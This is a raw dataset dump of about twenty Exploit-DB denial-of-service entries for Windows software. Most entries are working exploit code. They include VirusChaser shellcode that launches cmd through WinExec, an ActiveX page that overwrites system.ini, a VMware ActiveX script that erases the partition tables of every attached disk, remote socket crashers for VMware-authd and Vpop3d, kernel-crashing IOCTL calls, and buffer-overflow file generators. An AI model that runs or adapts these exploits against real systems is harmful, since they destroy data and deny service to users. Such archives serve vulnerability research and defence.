deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32522
Description: VirusChaser 8.0 - Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2014-03-26
Author: wh1ant

Exploit:
# Exploit Title: VirusChaser 8.0 - Stack Buffer Overflow
# Date: 2014/03/26
# Exploit Author: wh1ant
# Vendor Homepage: https://www.viruschaser.com/
# Software Link: https://www.viruschaser.com/download/VC80b_32Setup.zip
# Version: 8.0
# Tested on: Windows 7 ultimate K
#
# You must have administrator permission to run

from struct import pack
import os

shellcode = "\x66\x83\xc4\x10"        # add esp, 0x10
shellcode += "\xb8\x50\x70\x50\x50"   # mov eax, 0x50507050
shellcode += "\xb9\x4e\x7d\x04\x27"   # mov ecx, 0x27047d4e
shellcode += "\x03\xc1"               # add eax, ecx  ; WinExec() address
shellcode += "\x68\x63\x6d\x64\x01"   # push 0x01646D63
shellcode += "\x66\xb9\x50\x50"       # add cx, 0x5050
shellcode += "\x66\x81\xc1\xb0\xaf"   # add cx, 0xafb0
shellcode += "\x88\x4c\x24\x03"       # mov [esp+3], cl
shellcode += "\x8b\xd4"               # mov edx, esp
shellcode += "\x66\x51"               # push cx
shellcode += "\x41"                   # inc cx
shellcode += "\x66\x51"               # push cx
shellcode += "\x52"                   # push edx
shellcode += "\x50"                   # push eax
shellcode += "\x50"                   # push eax
shellcode += "\xc3\x90"               # retn  ; WinExec()

# BOF retn: 0x0040753d

pay = shellcode
pay = pay.rjust(520, "\x90")
pay += "\x9c\xdb\x12"

os.system("C:\\\"Program Files\\VirusChaser\\scanner.exe\" \"" + pay + "\"")
Exploit-DB #7358
Description: Visagesoft eXPert PDF EditorX - 'VSPDFEditorX.ocx' Insecure Method
Type: dos
Platform: windows
Date: 2008-12-05
Author: Marco Torti

Exploit:
VISAGESOFT eXPert PDF EditorX (VSPDFEditorX.ocx) INSECURE METHOD
 SITE: http://www.visagesoft.com
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 Author: Marco Torti
 mail: marcotorti2[at]yahoo[dot]com
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 FileVersion:   1.0.200.0
 CLSID:  {89F968A1-DBAC-4807-9B3C-405A55E4A279}
 Description: Visagesoft eXPert PDF EditorX
 ProgID:        VSPDFEditorX.VSPDFEdit
 
  Marked as:
  RegKey Safe for Script: False
  RegKey Safe for Init: False
  Implements IObjectSafety: True
  IDisp Safe: Safe for untrusted: caller,data 
  IPStorage Safe: Safe for untrusted: caller,data
  KillBitSet: False
 
 ---Vulnerable method:
 ---extractPagesToFile(ByVal Filename  As String ,ByVal PagesRange  As String )

 ---Vulnerability Description:
    The "extractPagesToFile" method doesn't check user supplied arguments so we
    can save/overwrite a specified file passed as argument.
 Tested on Windows XP Professional SP3 fully patched, with Internet Explorer 7
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
<object classid='clsid:89F968A1-DBAC-4807-9B3C-405A55E4A279' id='target'/></object>
<input language=VBScript onclick=launch() type=button value='start'>
<script language='vbscript'>
Sub launch
target.extractPagesToFile "c:\windows\-system.ini","defaultV"
MsgBox"Exploit Completed.. file overwrite!"
End Sub
</script>

# milw0rm.com [2008-12-05]
Exploit-DB #39512
Description: Viscomsoft Calendar Active-X 2.0 - Multiple Crashes (PoC)
Type: dos
Platform: windows
Date: 2016-03-01
Author: Shantanu Khandelwal

Exploit:
# Exploit Title: Viscomsoft Calendar Active-X 2.0 - Multiple Crash PoCs
# Date: 01-03-2016
# Exploit Author: Shantanu Khandelwal  Twitter: @shantanu561993 <shantanu561993@gmail.com>
# Vendor Homepage: http://www.viscomsoft.com/
# Software Link: http://www.viscomsoft.com/downloads/calendar.html
# Version: 2.0
# Tested on: Windows XP IE-8 , Windows 7 IE-8

Multiple Vulnerabilities found in calender.ocx file
Multiple Access violations

POC: 

https://www.dropbox.com/s/rtakkmw9ru55lbn/CALENDARLib.zip?dl=0
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39512.zip
Exploit-DB #5321
Description: Visual Basic - 'vbe6.dll' Local Stack Overflow (PoC) / Denial of Service
Type: dos
Platform: windows
Date: 2008-03-30
Author: Marsu

Exploit:
Stack overflow in vbe6.dll, (used by all versions of MS Office)
The overflow occurs in Visual Basic for Application. 
Creating a property with a long name ( about 247 chars) results in a stack overflow in vbe6.dll which overwrites with a null byte the first byte of the return address.

Probably impossible to exploit, but who knows? ^^ At least, there still exist stack overflows in Office apps :P

Marsu <Marsupilamipowa@hotmail.fr>

Module1.bas:

Attribute VB_Name = "Module1"

Public Property Get aaabcdefghissssssaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabdaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasssssssssssssssssssssssssssssssssssssssssssssssssssade() As Variant
  
End Property

# milw0rm.com [2008-03-30]
Exploit-DB #15493
Description: Visual MP3 Splitter & Joiner 6.1 - '.wav' Buffer Overflow
Type: dos
Platform: windows
Date: 2010-11-12
Author: anT!-Tr0J4n

Exploit:
#Title: Visual MP3 Splitter & Joiner 6.1 (.wav) Buffer Overflow Vulnerability

#Author    :   anT!-Tr0J4n

#Email      :   D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com

#Greetz    :   Dev-PoinT.com ; GlaDiatOr,SILVER STAR , HoBeeZ, Coffin Of Evil

#special thanks    :   r0073r,Sid3^effects,L0rd CruSad3r,SeeMe,Sonic,gunslinger_,Sn!pEr.S!Te,n4pst3rr,indoushka, KnocKout,SONiC,ZoRLu 

#Home     :   www.Dev-PoinT.com  $ Inj3ct0r.com $ http://milw0rm.ws

#Software :  http://www.ManiacTools.com

#Tested on:   Windows XP sp3

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


#!/usr/bin/python
#Home : www.Dev-PoinT.com , Inj3ct0r.com
outfile="crash.wav"
junk="\x41" * 80000
FILE=open(outfile, "w")
FILE.write(junk)
FILE.close()
print ''' File created succesufully , open  it with Visual MP3 Splitter and press the Play button '''
Exploit-DB #14587
Description: Visual MP3 Splitter & Joiner 6.1 - Denial of Service
Type: dos
Platform: windows
Date: 2010-08-09
Author: Oh Yaw Theng

Exploit:
# Exploit Title: Visual MP3 Splitter & Joiner 6.1 (.mp3 , .wav) DoS
# Date: 9 / 8 / 2010
# Author: Oh Yaw Theng
# Software Link: http://www.maniactools.com/soft/mp3-splitter-joiner/index.shtml
# Version: 6.1
# Tested on: Windows XP SP 2
# CVE : N /A

#!/usr/bin/python

# User needs to change the following extension with the one mentioned above
filename = "crash.mp3"

junk = "\x41" * 50000

exploit = junk

textfile = open(filename,'w')
textfile.write(exploit)
textfile.close()
Exploit-DB #23713
Description: Vizer Web Server 1.9.1 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-02-17
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/9678/info

It has been reported that Vizer Web Server may be prone to a remote denial of service vulnerability that may allow an attacker to cause the affected server to crash, denying service to legitimate users.

Vizer Web Server 1.9.1 has been reported to be affected by this issue.

index.htm
( without specifying GET and HTTP )

or:

GET /aaaaaa[ 250 of a ]aaa HTTP/1.1
( specifying GET and HTTP )

GET /aaaaaa[ 250 of a ]aaa
( specifying only GET )

or:

GET c:( specifying only GET )
Exploit-DB #11534
Description: VKPlayer 1.0 - '.mid' Denial of Service
Type: dos
Platform: windows
Date: 2010-02-22
Author: cr4wl3r

Exploit:
#!/usr/bin/perl


# VKPlayer 1.0 (.mid) Denial of Service Exploit
# Download: http://www.brothersoft.com/vkplayer-239785.html
# Exploit Coded by: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
# From: Indonesia
#
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# WARNING - WARNING - WARNING - WARNING
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
#
#
# Disclaimer: The author published the information under the condition
#             that is not in the intention of the reader to use them in order to bring
#             to himself or others a profit or to bring to others damage.
#
#
# Gr33tz: No Thanks



print "
[+]-----------------------------------------------[+]
[+] VKPlayer 1.0 (.mid) Denial of Service Exploit [+]
[+] By : cr4wl3r                                  [+]
[+]-----------------------------------------------[+]
";

$buff = 
"\x52\x49\x46\x46\xff\xff\x00\x00\x52\x4d\x49\x44\x64\x64\x64\x64".
"\xf8\xff\xff\xff\x4d\x54\x68\x64\xff\xff\xff\xff\xf8\xff\xff\xf8".
"\xf8\xff\xff\xff\xf7\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
#######################################################################################
open(file, "> sploit.mid");
print (file $buff);
#######################################################################################
print "\n[+] Done!\n
[+] Open with VKPlayer and play\n
[+] Coded by cr4wl3r\n";
Exploit-DB #2195
Description: VMware 5.5.1 - COM Object Arbitrary Partition Table Delete
Type: dos
Platform: windows
Date: 2006-08-16
Author: nop

Exploit:
<!--

[XSec-06-05]: VMware 5.5.1 for Windows arbitrary partition table delete issue.

Advisory ID:
XSec-06-05

Advisory Name:    
VMware 5.5.1 for Windows arbitrary partition table delete issue.

Release Date:      
08/16/2006

Tested on:        
VMware 5.5.1 build-19175 on Windows Server 2000/2003

Affected version:  
VMware 5.5.1

Author:
nop <nop#xsec.org>
http://www.xsec.org

Overview:
 On running windows system, you can't delete, format and change system dirver. \
VMware register a COM Object use for Virtual Disk, but it's very danger. \
I don't know how to name this issue. If you allow unsafe ActiveX and jscript, \
and has VMware installed, the vmware.htm will delete all harddisk partition \
table on the windows system. please backup your partition table first.

Exploit:

=============== vmware.htm start ================


// VMware 5.5.1 for Windows arbitrary partition table delete issue.
// Tested on Windows Server 2000/2003
//
// nop nop#xsec.org
// http://www.xsec.org
//

// CLSID: {0F748FDE-0597-443C-8596-71854C5EA20A}
// Info: Vie2Locator Class
// ProgID: VieLib2.Vie2Locator.1
// InprocServer32: C:\Program Files\Common Files\VMware\VMware Virtual Image Editing\vielib.dll

-->

<html><body>
<object classid="clsid:{0F748FDE-0597-443C-8596-71854C5EA20A}" id="vmware"> </object>
<script>

var disk = 0;                              // HardDisk No

while (disk < 20)
{
    var x = vmware.ConnectDisk(disk);  // Connect to HardDisk
    x.ResetLayout();                   // Will clean all partition table on your Harddisk
       disk += 1;
}
</script>
</body></html>

# milw0rm.com [2006-08-16]
Exploit-DB #28395
Description: VMware 5.5.1 - Partition Table Deletion Denial of Service
Type: dos
Platform: windows
Date: 2006-08-15
Author: nop

Exploit:
source: https://www.securityfocus.com/bid/19551/info

VMware is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to destroy partition tables on the affected computer and to deny service to legitimate users.

This issue affects VMware version 5.5.1; other versions may also be vulnerable for Windows.

 =============== vmware.htm start ================
 <!--
 // VMware 5.5.1 for Windows arbitrary partition table delete issue.
 // Tested on Windows Server 2000/2003
 //
 // nop nop#xsec.org
 // http://www.xsec.org
 //
 // CLSID: {0F748FDE-0597-443C-8596-71854C5EA20A}
 // Info: Vie2Locator Class
 // ProgID: VieLib2.Vie2Locator.1
 // InprocServer32: C:\Program Files\Common Files\VMware\VMware Virtual
 Image Editing\vielib.dll
 --!>
 <html><body>
 <object classid="clsid:{0F748FDE-0597-443C-8596-71854C5EA20A}"
 id="vmware"> </object>
 <script>
 var disk = 0; // HardDisk No
 while (disk < 20)
 {
 var x = vmware.ConnectDisk(disk); // Connect to HardDisk
 x.ResetLayout(); // Will clean all partition table on your Harddisk
 disk += 1;
 }
 </script>
 </body></html>
 =============== vmware.htm end ==================
Exploit-DB #33271
Description: VMware Player / VMware Workstation 6.5.3 - 'VMware-authd' Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-10-07
Author: shinnai

Exploit:
source: https://www.securityfocus.com/bid/36630/info

VMware Player and Workstation are prone to a remote denial-of-service vulnerability because the applications fail to perform adequate validation checks on user-supplied input.

An attacker can exploit this issue to crash the 'vmware-authd' process, denying service to legitimate users.

NOTE: This issue was also covered in BID 39345 (VMware Hosted Products VMSA-2010-0007 Multiple Remote and Local Vulnerabilities); this BID is being retained to properly document the issue.

# ----------------------------------------------------------------------------
# VMware Authorization Service <= 2.5.3 (vmware-authd.exe) Format String DoS
# url: http://www.vmware.com/
#
# author: shinnai
# mail: shinnai[at]autistici[dot]org
# site: http://www.shinnai.net
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Tested on Windows XP Professional Ita SP3 full patched
# ----------------------------------------------------------------------------

# usage: C:\>exploit.py 127.0.0.1 912

import socket
import time
import sys

host = str(sys.argv[1])
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    conn = s.connect((host, port))
    d = s.recv(1024)
    print "Server <- " + d

    s.send('USER \x25\xFF \r\n')
    print 'Sending command "USER" + evil string...'
    d = s.recv(1024)
    print "Server response <- " + d

    s.send('PASS \x25\xFF \r\n')
    print 'Sending command "PASS" + evil string...'
    try:
        d = s.recv(1024)
        print "Server response <- " + d
    except:
        print "\nExploit completed..."
except:
    print "Something goes wrong honey..."
Exploit-DB #42140
Description: VMware Workstation 12 Pro - Denial of Service
Type: dos
Platform: windows
Date: 2017-06-08
Author: Borja Merino

Exploit:
/*
 * Title: NULL pointer dereference vulnerability in vstor2 driver (VMware Workstation Pro/Player)
 * CVE: 2017-4916 (VMSA-2017-0009)
 * Author: Borja Merino (@BorjaMerino)
 * Date: May 18, 2017
 * Tested on: Windows 10 Pro and Windows 7 Pro (SP1) with VMware® Workstation 12 Pro (12.5.5 build-5234757)
 * Affected: VMware Workstation Pro/Player 12.x
 * Description: This p0c produces a BSOD by sending a specific IOCTL code to the vstor2_mntapi20_shared device
 * driver due to a double call to IofCompleteRequest (generating a MULTIPLE_IRP_COMPLETE_REQUESTS bug check)
*/

#include "windows.h"
#include "stdio.h"

void ioctl_crash()
{
	HANDLE hfile;
	WCHAR *vstore = L"\\\\.\\vstor2-mntapi20-shared";
	DWORD dummy;
	char reply[0x3FDC];
	hfile = CreateFileW(vstore, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
	char buf[384] = "\x80\x01\x00\x00\xc8\xdc\x00\x00\xba\xab";
	DeviceIoControl(hfile, 0x2a002c, buf, 382, reply, sizeof(reply), &dummy, NULL);
}

void run_vix()
{
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	RtlZeroMemory(&si, sizeof(si));
	RtlZeroMemory(&pi, sizeof(pi));
	si.dwFlags |= STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
    DWORD createFlags = CREATE_SUSPENDED;
	CreateProcess(L"C:\\Program Files (x86)\\VMware\\VMware Workstation\\vixDiskMountServer.exe", NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
}

void main()
{
	run_vix(); //Comment this if vixDiskMountServer.exe is already running
	ioctl_crash();
}
Exploit-DB #15103
Description: VMware Workstation 7.1.1 - 'VMkbd.sys' Denial of Service
Type: dos
Platform: windows
Date: 2010-09-25
Author: Lufeng Li

Exploit:
#!/usr/bin/python

#################################################################
#
# Title: VMware Workstation <= 7.1.1 VMkbd.sys Denial of Service Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.vmware.com
# Platform: Windows Vista
# Tested: VMware Workstation v7.1.1 build-282343
# Vulnerable: VMware Workstation <= 7.1.1 build-282343
# Vendor: http://www.vmware.com/
# Test: Run this Script on host OS will make host OS BSoD
#
#################################################################

from ctypes import *

kernel32 = windll.kernel32
Psapi    = windll.Psapi

if __name__ == '__main__':
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    CREATE_ALWAYS = 0x2
    DEVICE_NAME   = "\\\\.\\VMwareKbdFilter"

    dwReturn      = c_ulong()
    out_size      = 1024
    in_size       = 1024
    in_data       =''
    out_data      =''
    driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
						0, None, CREATE_ALWAYS, 0, None)

    dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0xb204c, in_data,0, out_data, 0,byref(dwReturn), None)
Exploit-DB #21170
Description: Volition Red Faction 1.0/1.1 - Game Server/Client Denial of Service
Type: dos
Platform: windows
Date: 2001-12-07
Author: sh0

Exploit:
source: https://www.securityfocus.com/bid/3651/info

Red Faction is a commercial 3D first person shooter game developed by Volition and published by THQ.

Red Faction allows up to 32 players to game across a LAN or TCP/IP. Both the Red Faction Game Server and the client communicate on port 7755 by default. If UDP packets are sent to the port Red Faction is listening on, this will cause both the Game Server and the client to crash. 

The following example is sufficient to crash Red Faction:

nmap -sU -p 7755 <ip>
Exploit-DB #46198
Description: VPN Browser+ 1.1.0.0 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-01-18
Author: 0xB9

Exploit:
# Exploit Title: VPN Browser+ 1.1.0.0 - Denial of Service (PoC)
# Date: 1/18/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/store/productId/9NFFFFS5Z2C7
# Version: 1.1.0.0
# Tested on: Windows 10

# Proof of Concept:
# Run the python script, it will create a new file "PoC.txt"
# Copy the text from the generated PoC.txt file to clipboard
# Paste the text in the search bar and click search
# App will now crash

buffer = "A" * 5800
payload = buffer
try:
    f=open("PoC.txt","w")
    print "[+] Creating %s evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #23053
Description: Vpop3d - Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-08-22
Author: daniels@legend.co.uk

Exploit:
source: https://www.securityfocus.com/bid/8473/info

A vulnerability has been reported for Vpop3d that may make it prone to denial of service attacks. The problem is said to occur due to the affected daemon failing to sufficiently handle USER name values of excessive length. As a result, if a malicious packet is received, after a specific amount of time the affected server may abnormally terminate.

#!/usr/bin/perl

#vpop3d Denial Of Service..
#Proof of Concept script..
#Deadbeat, uk2sec..
#e: deadbeat@sdf.lonestar.org
#e: daniels@legend.co.uk

use IO::Socket;
$host = $ARGV[0];
$port = $ARGV[1];
if(!$ARGV[1]){
        die "usage: perl $0 <host> <port>\n";
}
$dos = "%s%s"x5000;
$req = "USER $dos";
$sox = IO::Socket::INET->new(
        Proto=>"tcp",
        PeerPort=>$port,
        PeerAddr=>$host
)or die "can't connect to $host : $port\n";
sleep 2;
print $sox $dos;
sleep 1;
print "done..vpop3d should lock now :)\n";
Exploit-DB #45315
Description: VSAXESS V2.6.2.70 build 20171226_053 - 'Nickname' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-09-03
Author: Diego Santamaria

Exploit:
# Exploit Title: VSAXESS V2.6.2.70 build20171226_053 - 'Nickname' Denial of Service (PoC)
# Discovery by: Diego Santamaria
# Discovery Date: 2018-08-31
# Vendor Homepage: https:https://www.visionistech.com/en/home/
# Software Link: https://www.visionistech.com/en/vsaxess-desktop-software/
# Tested Version: V2.6.2.70 build20171226_053
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 7 Professional
 
# Steps to Reproduce: 

# 1. Run the python code Nickname.py 
# 2. Open nickname_exploit.txt and copy the content 
# 3. Open VSAXESS.exe 
# 4. Register a password and username
# 5. choose 'Add'
# 6. choose 'Serial Port'
# 6. Paste the content from nickname_exploit.txt on 'Nickname'
# 7. Press 'Aceptar' and Crashed
 
#!/usr/bin/env python

content = "\x41" * 9300
f = open ("nickname_exploit.txt", "w")
f.write(content)
f.close()
Exploit-DB #45800
Description: VSAXESS V2.6.2.70 build20171226_053 - 'organization' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-11-06
Author: Diego Santamaria

Exploit:
# Exploit Title: VSAXESS V2.6.2.70 build20171226_053 - 'organization' Denial of Service (PoC)
# Discovery by: Diego Santamaria
# Discovery Date: 2018-11-05
# Vendor Homepage: https:https://www.visionistech.com/en/home/
# Software Link: https://www.visionistech.com/en/vsaxess-desktop-software/
# Tested Version: V2.6.2.70 build20171226_053
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 7 Professional
 
# Steps to Reproduce: 

# 1. Run the python code organization.py 
# 2. Open organization_exploit.txt and copy the content 
# 3. Open VSAXESS.exe 
# 4. Register a password and username
# 5. choose 'Control Panel'
# 6. choose 'Access Control'
# 7. choose 'Add'
# 8. Paste the content from organization_exploit.txt on 'Organization' and Crashed
 
#!/usr/bin/env python3

content = "\x41" * 10000
f = open ("organization_exploit.txt", "w")
f.write(content)
f.close()
Exploit-DB #46385
Description: VSCO 1.1.1.0 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-02-15
Author: 0xB9

Exploit:
# Exploit Title: VSCO 1.1.1.0 - Denial of Service (PoC)
# Date: 2/14/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/store/productId/9NC1RLNH76PB
# Version: 1.1.1.0
# Tested on: Windows 10

# Proof of Concept:
# Run the python script, it will create a new file "PoC.txt"
# Copy the text from the generated PoC.txt file to clipboard
# Paste the text in the top right search bar and hit Search
# Click back to Home
# App will now crash

buffer = "A" * 5000
payload = buffer
try:
    f=open("PoC.txt","w")
    print "[+] Creating %s evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
print "File cannot be created"
Exploit-DB #31818
Description: vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1)
Type: dos
Platform: windows
Date: 2008-05-21
Author: Martin Nagy

Exploit:
source: https://www.securityfocus.com/bid/29322/info


The 'vsftpd' FTP server is prone to a remote denial-of-service vulnerability because it fails to free allocated memory.

Successfully exploiting this issue allows remote attackers to crash the affected application, denying service to legitimate users. 

# echo deny_file=foo >> /etc/vsftpd/vsftpd.conf
# service vsftpd restart

$ cat > memtest.sh <<EOF
 EOF
#!/bin/bash
echo USER anonymous
echo PASS foo@bar.com

while [ 1 ]; do
        echo CWD pub
        echo CWD ..
done
EOF